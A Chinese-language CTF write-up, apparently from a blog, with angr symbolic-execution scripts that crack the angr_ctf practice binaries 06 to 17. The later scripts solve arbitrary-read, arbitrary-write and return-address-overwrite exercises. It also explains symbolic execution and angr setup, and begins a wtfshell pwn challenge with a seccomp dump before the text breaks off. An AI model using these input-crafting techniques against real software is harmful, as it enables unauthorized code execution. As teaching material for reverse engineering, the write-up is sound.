p = angr.Project("./06_angr_symbolic_dynamic_memory")
init_state = p.factory.blank_state(addr=0x08048696)

password1 = claripy.BVS("password1",64)
password2 = claripy.BVS("password2",64)

password1_addr = 0x0ABCC8A4
password2_addr = 0x0ABCC8AC

password1_fakeheap = init_state.regs.esp + 0x100
password2_fakeheap = init_state.regs.esp + 0x200

init_state.memory.store(password1_addr,password1_fakeheap,endness=p.arch.memory_endness)
init_state.memory.store(password2_addr,password2_fakeheap,endness=p.arch.memory_endness)
init_state.memory.store(password1_fakeheap,password1)
init_state.memory.store(password2_fakeheap,password2)

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
answer1 = found_state.solver.eval(password1,cast_to=bytes).decode()
answer2 = found_state.solver.eval(password2,cast_to=bytes).decode()
print("{} {}".format(answer1,answer2))

07_angr_symbolic_file

1
2
3
4
5
6
7
__isoc99_scanf("%64s", buffer);
ignore_me(buffer, 0x40u);
memset(buffer, 0, sizeof(buffer));
fp = fopen("OJKSQYDP.txt", "rb");
fread(buffer, 1u, 0x40u, fp);
fclose(fp);
unlink("OJKSQYDP.txt");
  • 程序先把输入的数据传输到文件中,然后打开文件从里面取出数据

这次的目标就是符号化一个文件,使用 init_state.fs.insert(file_name,SimFile) 可以把一个指定文件名的文件,设置为符号化文件

我们需要跳过输入,在 open 之前开始执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import angr
import claripy

p = angr.Project("./07_angr_symbolic_file")
init_state = p.factory.blank_state(addr=0x080488D3)

file_name = "OJKSQYDP.txt"
file_size = 0x40

password1 = claripy.BVS("password1",file_size)
SimFile = angr.storage.SimFile(file_name,content=password1,size=file_size)
init_state.fs.insert(file_name,SimFile)

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)

print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
answer1 = found_state.solver.eval(password1,cast_to=bytes).decode()
print("{}".format(answer1))

08_angr_constraints

本题目使用单字节对比:

1
2
3
4
5
6
7
8
9
10
11
12
13
_BOOL4 __cdecl check_equals_AUPDNNPROEZRJWKB(int a1, unsigned int a2)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]

v3 = 0;
for ( i = 0; i < a2; ++i )
{
if ( *(_BYTE *)(i + a1) == *(_BYTE *)(i + 0x804A040) )
++v3;
}
return v3 == a2;
}

angr 有一个名为“路径爆炸”的问题,这种单字节对比的函数会导致路径特别多,大大降低 angr 的运行速度,于是我们需要一种方法来减缓“路径爆炸”的影响

常见的做法就是把“对比函数”提取出来,手动为该函数添加 check_constraint(通过条件),然后再用约束器求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import angr
import claripy

p = angr.Project("./08_angr_constraints")
init_state = p.factory.blank_state(addr=0x08048622)

password = claripy.BVS("password",0x10*8)
password_addr = 0x0804A050

init_state.memory.store(password_addr,password)

check_addr = 0x08048565 # 08048673
check_key = "AUPDNNPROEZRJWKB"

sm = p.factory.simulation_manager(init_state)
sm.explore(find=check_addr)

if sm.found:
check_state = sm.found[0]
check_param1 = password_addr
check_param2 = 0x10

check_bvs = check_state.memory.load(check_param1,check_param2)
check_constraint = check_key == check_bvs
check_state.add_constraints(check_constraint)

answer = check_state.solver.eval(password,cast_to=bytes)
print("{}".format(answer.decode()))

09_angr_hooks

1
2
3
4
5
6
7
8
printf("Enter the password: ");
__isoc99_scanf("%16s", buffer);
for ( i = 0; i <= 15; ++i )
*(_BYTE *)(i + 0x804A054) = complex_function(*(char *)(i + 0x804A054), 18 - i);
equals = check_equals_XYMKBKUHNIQYNQXE((int)buffer, 0x10u);
for ( j = 0; j <= 15; ++j )
*(_BYTE *)(j + 0x804A044) = complex_function(*(char *)(j + 0x804A044), j + 9);
__isoc99_scanf("%16s", buffer);

本题目的执行路径比较混乱,如果用之前的方法来处理“路径爆炸”就会导致代码冗余(查找到目标“比较函数”后,需要判断该“比较函数”是否通过,然后再查找 Good Job

angr 还提供了另一种方法来应对“路径爆炸”:

  • 直接 hook 掉“比较函数”,利用自己实现的函数来替代它
  • 然后根据比较结果来操控 eax 寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import angr
import claripy

p = angr.Project("./09_angr_hooks")
init_state = p.factory.entry_state()

password_addr = 0x0804A054

check_addr = 0x080486B3
check_skip = 4 + 1
check_key = "XYMKBKUHNIQYNQXE"

@p.hook(check_addr,length=check_skip)
def check_hook(state):
check_param1 = password_addr
check_param2 = 0x10
input_bvs = state.memory.load(check_param1,check_param2)

state.regs.eax = claripy.If(
check_key == input_bvs,
claripy.BVV(1,32),
claripy.BVV(0,32)
)

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)

print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
print(found_state.posix.dumps(0))

10_angr_simprocedures

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+20h] [ebp-28h]
char s[17]; // [esp+2Bh] [ebp-1Dh] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
memcpy(&password, "ORSDDWXHZURJRBDH", 0x10u);
memset(s, 0, sizeof(s));
printf("Enter the password: ");
__isoc99_scanf("%16s", s);
for ( i = 0; i <= 15; ++i )
s[i] = complex_function(s[i], 18 - i);
if ( check_equals_ORSDDWXHZURJRBDH((int)s, 0x10u) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}

这个题目看似可以用上一个方法来做,但稍微用 IDA 分析一下就会发现问题:

  • 程序为每个路径分支都提供了一个“比较函数”,我们根本不知道该 hook 掉哪一个

因此我们需要根据函数名来进行 hook:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import angr
import claripy

p = angr.Project("./10_angr_simprocedures")
init_state = p.factory.entry_state()

password_addr = 0x0804C048

class mySimPro(angr.SimProcedure):
def run(self,input_addr,input_length):
check_key = "ORSDDWXHZURJRBDH"
input_bvs = self.state.memory.load(input_addr,input_length)

return claripy.If(
check_key == input_bvs,
claripy.BVV(1,32),
claripy.BVV(0,32)
)

check_name = "check_equals_ORSDDWXHZURJRBDH"
p.hook_symbol(check_name,mySimPro())

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)

print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
print(found_state.posix.dumps(0))

11_angr_sim_scanf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+20h] [ebp-28h]
char s[20]; // [esp+28h] [ebp-20h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
qmemcpy(s, "SUQMKQFX", 8);
for ( i = 0; i <= 7; ++i )
s[i] = complex_function(s[i], i);
printf("Enter the password: ");
__isoc99_scanf("%u %u", buffer0, buffer1);
if ( !strncmp(buffer0, s, 4u) && !strncmp(buffer1, &s[4], 4u) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
  • 这个题目在输入的前面完成了加密
  • 并且让我们无法确定开始执行的地址

题目原本考点是:将 scanf 替换为我们自己的版本(老版本 angr 不支持使用 scanf 请求多个参数)

现在新版本的 angr 已经支持多个参数的 scanf 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import angr

p = angr.Project("./11_angr_sim_scanf")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
print(found_state.posix.dumps(0))

12_angr_veritesting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__isoc99_scanf(
(int)"%32s",
(int)v19 + 3,
v5,
v6,
v7,
v8,
v9,
(int)v10,
v11,
v12,
v13,
v14,
v16,
v18,
v19[0],
v19[1],
v19[2],
v19[3],
v19[4],
v19[5]);

一样的是针对 scanf 的问题

由于变量过长,需要在构造仿真管理器时添加 veritesting=True 选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import angr

p = angr.Project("./12_angr_veritesting")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state,veritesting=True)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
print(found_state.posix.dumps(0))

13_angr_static_binary

这是一个静态的程序:

1
2
➜  angr file 13_angr_static_binary 
13_angr_static_binary: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=89d11f111deddc580fac3d22a1f6c352d1883cd5, not stripped

angr 在处理静态程序时,会进入到 libc 函数的内部进行分析,有些 libc 函数内部的执行分支很多,路径很长,会浪费大量的时间

我们需要做的工作就是用 hook 函数来替代原本的 libc 函数:

  • 当执行二进制文件时,main 函数不是调用的第一段代码,程序会首先调用在 _start 函数中的 __libc_start_main 以启动程序,此函数中发生的初始化
  • 使用 angr 可能需要很长时间,所以你应该用 SimProcedure 替换它
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import angr

p = angr.Project("./13_angr_static_binary")
init_state = p.factory.entry_state()

printf_addr = 0x0804ED40
puts_addr = 0x0804F350
strcmp_addr = 0x08048280
scanf_addr = 0x0804ED80
exit_addr = 0x0804E3D0
__libc_start_main = 0x08048D10

p.hook(printf_addr, angr.SIM_PROCEDURES['libc']['printf']())
p.hook(puts_addr, angr.SIM_PROCEDURES['libc']['puts']())
p.hook(strcmp_addr, angr.SIM_PROCEDURES['libc']['strcmp']())
p.hook(scanf_addr, angr.SIM_PROCEDURES['libc']['scanf']())
p.hook(exit_addr, angr.SIM_PROCEDURES['libc']['exit']())
p.hook(__libc_start_main, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)

print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
print(found_state.posix.dumps(0))

14_angr_shared_library

1
2
3
4
5
6
7
8
memset(s, 0, sizeof(s));
printf("Enter the password: ");
__isoc99_scanf("%8s", s);
if ( validate((int)s, 8) )
puts("Good Job.");
else
puts("Try again.");
return 0;
1
2
3
4
int __cdecl validate(int a1, int a2)
{
return validate(a1, a2);
}
  • 这个 validate 是动态链接库中的函数
  • 执行二进制文件前,需要先将对应的动态链接库添加到 /lib 目录中
1
sudo cp -r lib14_angr_shared_library.so /lib

本题目有一个特点,就是是否输出 Good Job 完全由动态链接库决定,于是我们只需要测试动态链接库

angr 拥有分析动态链接库的能力,但需要在创建项目时指定程序的基地址(随便写一个都行),然后利用 p.factory.call_state 去调用 validate(不需要检查返回,只要程序执行到“通过”时该执行的地址就可以就说明输出 Good Job 了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import angr
import claripy

base_addr = 0x8000000
p = angr.Project("./lib14_angr_shared_library.so",load_options={
'main_opts' : {
'custom_base_addr' : base_addr
}
})

password_addr = claripy.BVV(0x3000000,32)
password = claripy.BVS("password",8*8)
validate_addr = base_addr+0x6D7

init_state = p.factory.call_state(validate_addr, password_addr, claripy.BVV(8, 32))
init_state.memory.store(password_addr, password)

sm = p.factory.simulation_manager(init_state)
sm.explore(find=0x783+base_addr)

print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
answer = found_state.solver.eval(password,cast_to=bytes)
print("{}".format(answer.decode()))

15_angr_arbitrary_read

这个题目有一点不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [esp+Ch] [ebp-1Ch] BYREF
char *s; // [esp+1Ch] [ebp-Ch]

s = try_again;
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, v4);
if ( key == 0x27DFB7C )
puts(s);
else
puts(try_again);
return 0;
}
  • 输入有4字节的溢出,刚好可以覆盖 s(任意地址读)

除了绕过对应的密码检查,还需要调用 memory.load 方法将 puts 的第一个参数提取出来,与 Good Job 字符串所在的地址进行对比

  • 注意:本题目还需要把 scanf 给 hook 掉,用于限制输入字符的范围(否则将会返回一个无法编码的字符串)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import angr
import claripy

p = angr.Project("./15_angr_arbitrary_read")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)

class mySimPro(angr.SimProcedure):
format_addr = 0x484F4A69
def run(self, format_addr, param0, param1):
password1 = claripy.BVS('password1', 32)
password2 = claripy.BVS('password2', 8*20)
for char in password2.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')

self.state.memory.store(param0, password1, endness=p.arch.memory_endness)
self.state.memory.store(param1, password2)
self.state.globals['password'] = (password1, password2)

scanf_symbol = '__isoc99_scanf'
p.hook_symbol(scanf_symbol, mySimPro())

def check_puts(state):
check_param = state.memory.load(state.regs.esp+4,4,endness=p.arch.memory_endness)
if state.se.symbolic(check_param):
goodjob_addr = 0x484F4A47
check_constraint = check_param == goodjob_addr
state.add_constraints(check_constraint)
if state.satisfiable():
return True
else:
return False
else:
return False

def is_good(state):
puts_address = 0x8048370
if state.addr == puts_address:
return check_puts(state)
else:
return False

sm.explore(find=is_good)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
(password1, password2) = found_state.globals['password']
answer1 = (found_state.solver.eval(password1))
answer2 = (found_state.solver.eval(password2,cast_to=bytes))
print("{} {}".format(answer1, answer2))

16_angr_arbitrary_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [esp+Ch] [ebp-1Ch] BYREF
char *dest; // [esp+1Ch] [ebp-Ch]

dest = unimportant_buffer;
memset(s, 0, sizeof(s));
strncpy(password_buffer, "PASSWORD", 0xCu);
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, s);
if ( key == 0xB11403 )
strncpy(dest, s, 0x10u);
else
strncpy(unimportant_buffer, s, 0x10u);
if ( !strncmp(password_buffer, "NDYNWEUJ", 8u) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}

和上一个题一样,只不过漏洞换成了任意写

在上一个题目的基础上进行修改,再添加一些检查就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import angr
import claripy

p = angr.Project("./16_angr_arbitrary_write")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)

class mySimPro(angr.SimProcedure):
format_addr = 0x08048721
def run(self, format_addr, param0, param1):
password1 = claripy.BVS('password1', 32)
password2 = claripy.BVS('password2', 8*20)
for char in password2.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')

self.state.memory.store(param0, password1, endness=p.arch.memory_endness)
self.state.memory.store(param1, password2)
self.state.globals['password'] = (password1, password2)

scanf_symbol = '__isoc99_scanf'
p.hook_symbol(scanf_symbol, mySimPro())

def check_strncpy(state):
check_param1 = state.memory.load(state.regs.esp+4,4,endness=p.arch.memory_endness)
check_param2 = state.memory.load(state.regs.esp+8,4,endness=p.arch.memory_endness)
check_param3 = state.memory.load(state.regs.esp+12,4,endness=p.arch.memory_endness)
check_bvs = state.memory.load(check_param2, check_param3)

if state.solver.symbolic(check_bvs) and state.solver.symbolic(check_param1):
target_addr = 0x57584344
check_key = "NDYNWEUJ"
check_constraint1 = check_param1 == target_addr
check_constraint2 = check_bvs[-1:-64] == check_key
if state.satisfiable(extra_constraints=(check_constraint1,check_constraint2)):
state.add_constraints(check_constraint1,check_constraint2)
return True
else:
return False
else:
return False

def is_good(state):
strncpy_address = 0x08048410
if state.addr == strncpy_address:
return check_strncpy(state)
else:
return False

sm.explore(find=is_good)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
(password1, password2) = found_state.globals['password']
answer1 = (found_state.solver.eval(password1))
answer2 = (found_state.solver.eval(password2,cast_to=bytes))
print("{} {}".format(answer1, answer2))

17_angr_arbitrary_jump

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
printf("Enter the password: ");
read_input();
puts("Try again.");
return 0;
}
1
2
3
4
5
6
int read_input()
{
char v1[32]; // [esp+28h] [ebp-20h] BYREF

return __isoc99_scanf("%s", v1);
}

这个题开始玩 pwn 了,要我们覆盖返回地址

因为本程序随时可能报错,所以我们要在创建仿真器时指定 save_unconstrained=True(angr 不抛出不受约束的状态)

我们需要的结果是无约束状态(因为 Good Job 根本不在程序的执行路径里),如果出现了约束状态下的解则求解失败,有待检查的状态才继续循环遍历所有的状态,最终的结果是找到了一个未约束状态

最后给这个状态加一个约束,使其等于 Good Job 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import angr
import claripy

p = angr.Project("./17_angr_arbitrary_jump")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)

class mySimPro(angr.SimProcedure):
format_addr = 0x42585350
def run(self, format_addr, param0):
password = claripy.BVS('password', 8*64)
for char in password.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')

self.state.memory.store(param0, password, endness=p.arch.memory_endness)
self.state.globals['password'] = (password)

scanf_symbol = '__isoc99_scanf'
p.hook_symbol(scanf_symbol, mySimPro())

sm = p.factory.simgr(
init_state,
save_unconstrained=True,
stashes={
'active' : [init_state],
'unconstrained' : [],
'found' : [],
'not_needed' : []
}
)

while(1):
for unconstrained_state in sm.unconstrained:
def should_move(s):
return s is unconstrained_state
sm.move('unconstrained', 'found', filter_func=should_move)
sm.step()
if(sm.found):
print("get it")
break

print("find: "+hex(len(sm.found)))
found_state = sm.found[0]
found_state.add_constraints(found_state.regs.eip == 0x42585249)
password = found_state.globals['password']
answer = (found_state.solver.eval(password,cast_to=bytes))
print(answer[::-1])

Angr 介绍

angr 是一个二进制代码分析工具(基于 python),能够自动化完成二进制文件的分析,并找出漏洞

  • 它将以前多种分析技术集成进来,­­­能够进行动态的符号执行分析(类似于 KLEE 和 Mayhem),也能够进行多种静态分析
  • PS:使用符号执行分析一个程序时,该程序会使用符号值作为输入(并非使用具体值),在达到目标代码时,分析器可以得到相应的路径约束,然后通过约束求解器来得到可以触发目标代码的具体值

传统符号执行

传统符号执行是一种静态分析技术

  • 通过使用抽象的符号(静态或者全局变量的名称)代替具体值来模拟程序的执行
  • 当遇到分支语句时,它会探索每一个分支,将分支条件加入到相应的路径约束中
  • 若约束可解,则说明该路径是可达的

接下来就通过以下的伪代码案例来推演这个过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int twice(int v){
return 2*v;
}

void testme(int x,int y){
z = twice(y);
if(z == x){
if(x>y+10){
ERROR;
}
}
}

int main(){
x = sym_input();
y = sym_input();
testme(x,y);
return 0;
}
  • 程序不会直接输入具体值,而是输入一个符号值
  • 接着尽可能探索每一个分支,把程序的所有执行路径表示成一棵执行树

符号执行维护了:

  • 符号状态 σ (symbolic state):变量到符号表达式的映射
  • 符号路径约束 PC (path constraint):表示当前路径的约束条件

在对程序的某一路径分支进行符号执行的终点,把 PC 输入约束求解器 (constraint solver) 以获得求解,生成实际的输入值

  • PS:如果程序把生成的具体值作为输入执行,它将会和符号执行运行在同一路径,即此时 PC 的公式所表示的路径,并且以同一种方式结束

经典的符号执行有一个关键的缺点,若符合执行路径的符号路径约束无法使用约束求解器进行有效的求解,则无法生成输入

动态符号执行

混合“实际执行”和“符号执行” (concolic execution),是真正意义上的动态符号执行

  • 经典的符号执行,过度的依赖了符号执行的约束求解能力,限制了传统符号执行的能力发挥
  • 如果能加入具体值进行分析,将大大简化分析过程,降低分析的难度和提升效率
  • 但分析过程中,仍不可避免的还是需要将各种条件表达式,进行符号化抽象后变成约束条件参与执行

将程序语句转换为符号约束的精度,对符号执行所达到的覆盖率以及约束求解的可伸缩性会产生重大影响,所以如何做好 “混合具体(Concrete)执行” 和 “符号(Symbolic)执行” 的能力的平衡,就成为现代符号执行的关键点

选择性符号执行

受路径爆炸和约束求解问题的制约,符号执行不适用于程序规模较大或逻辑复杂的情况,并且对于与外部执行环境交互较多的程序尚无很好的解决方法

选择性符号执行有助于解决这类问题,也是具体执行和符号执行混合的一种分析技术,依据特定的分析,决定符号执行和具体执行的切换使用

  • 用户可以指定一个完整系统中的任意部分进行符号执行分析(可以是应用程序、库文件、系统内核和设备驱动程序等)
  • 选择性符号执行在符号执行和具体执行间转换,并透明地转换符号状态和具体状态
  • 选择性符号执行极大地提高了符号执行在实际应用中对大型软件分析测试的可用性,且不再需要对这些环境进行模拟建模

选择性符号执行在指定区域内的符号化搜索,就是完全的符号执行,在该区域之外均使用具体执行完成,选择性符号执行的主要任务就是在分析前将大程序区分为 “具体执行区域” 和 “符号执行区域”

参考:符号执行(symbolic executio)技术综述

Angr 安装

为了不与 pwntools 库引起冲突,可以采用拉取 docker 镜像的方式进行使用(当然也可以直接 pip install angr 也可以)

1
docker pull angr/angr

以下脚本可以方便我们运行 docker angr:

1
2
3
4
#! /bin/zsh
pwd=`pwd`
script=$1
docker run -it -u angr --rm -v $pwd:/mnt -w /mnt angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/mnt/$script" $2 $3

使用该脚本:

1
./angr script.py

Angr 使用

Github 上有一个针对 angr 的练习集:

这里先通过 00_angr_find 来了解 angr 的基础用法

IDA 分析出来的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+1Ch] [ebp-1Ch]
char s1[9]; // [esp+23h] [ebp-15h] BYREF
unsigned int v6; // [esp+2Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
printf("Enter the password: ");
__isoc99_scanf("%8s", s1);
for ( i = 0; i <= 7; ++i )
s1[i] = complex_function(s1[i], i);
if ( !strcmp(s1, "JACEJGCS") )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
  • 其中的 complex_function 是一个加密的过程
1
2
3
4
5
6
7
8
9
int __cdecl complex_function(int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (3 * a2 + a1 - 65) % 26 + 65;
}

如果采用常规的解题思维,那就要对 complex_function 进行逆向,分析出输入值,但 angr 采用了不同的做法

先新建一个 angr 工程:

1
p = angr.Project("./00_angr_find")

告诉 angr 一个初始化状态:(Unicorn 框架允许执行任意一段二进制代码)

1
init_state = p.factory.entry_state() # 程序入口点

生成一个 SimulationManagers 对象,用于管理“模拟执行”:

1
sm = p.factory.simulation_manager(init_state)

告诉 SimulationManagers 对象需要查找的路径地址,并开始“模拟执行”:

1
sm.explore(find=0x08048678)
  • angr 会把输入值 s1 转化为一个符号向量(用于决定“模拟执行”的路径)
1
__isoc99_scanf("%8s", s1);
  • 然后遍历所有的程序路径,找到进入各个路径的约束条件:
  • 最后把目标路径的约束输入约束求解器 (constraint solver) 以获得求解,生成实际的输入值

最终的结果存放在 found 中,我们可以打印出来:

1
2
3
found_state = sm.found[0]
print(found_state.posix.dumps(1))
print(found_state.posix.dumps(0))
1
2
b'Enter the password: '
b'JXWVXRKX'

wtfshell1 复现

注意此挑战是开源的,不要浪费时间对二进制文件进行逆向工程

这个挑战有两个 flag:

  • 1.第一个 flag 隐藏在虚拟文件系统(又名内存)内的“flag1”文件中,甚至无法被虚拟根目录读取,您的目标是 pwn 库并实现 RAA
  • 2.第二个 flag 位于虚拟文件系统之外,这意味着您必须实现任意代码执行(实际上是 ORW,由于seccomp)才能获得 flag
1
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu3) stable release version 2.36.\n
1
2
3
4
5
6
7
8
wtfshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14b74f98df26b1325153b74f6d77440e0b761024, for GNU/Linux 3.2.0, stripped
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/wtfshell/share/wtfshell'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
➜  share seccomp-tools dump ./wtfshell  
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0006
0002: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0003: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x20 0x00 0x00 0x00000000 A = sys_number
0007: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x20 0x00 0x00 0x00000000 A = sys_number
0010: 0x15 0x00 0x06 0x00000009 if (A != mmap) goto 0017
0011: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x03 0x00 0x00000007 if (A == 0x7) goto 0016
0013: 0x20 0x00 0x00 0x00000030 A = fd # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x00 0x01 0xffffffff if (A != 0xffffffff) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x20 0x00 0x00 0x00000000 A = sys_number
0018: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x20 0x00 0x00 0x00000000 A = sys_number
0021: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0023
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0023: 0x20 0x00 0x00 0x00000000 A = sys_number
0024: 0x15 0x00 0x01 0x00000027 if (A != getpid) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x20 0x00 0x00 0x00000000 A = sys_number
0027: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0029
0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0029: 0x20 0x00 0x00 0x00000000 A = sys_number
0030: 0x15 0x00 0x01 0x00000068 if (A != getgid) goto 0032
0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0032: 0x20 0x00 0x00 0x00000000 A = sys_number
0033: 0x15 0x00 0x04 0x00000014 if (A != writev) goto 0038
0034: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0035: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0037
0036: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0037: 0x06 0x00 0x00 0x00000000 return KILL
0038: 0x20 0x00 0x00 0x00000000 A = sys_number
0039: 0x15 0x00 0x05 0x0000003c if (A != exit) goto 0045
0040: 0x20 0x00 0x00 0x00000010 A = error_code # exit(error_code)
0041: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0043
0042: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0044
0043: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0044: 0x06 0x00 0x00 0x00000000 return KILL
0045: 0x20 0x00 0x00 0x00000000 A = sys_number
0046: 0x15 0x00 0x05 0x000000e7 if (A != exit_group) goto 0052
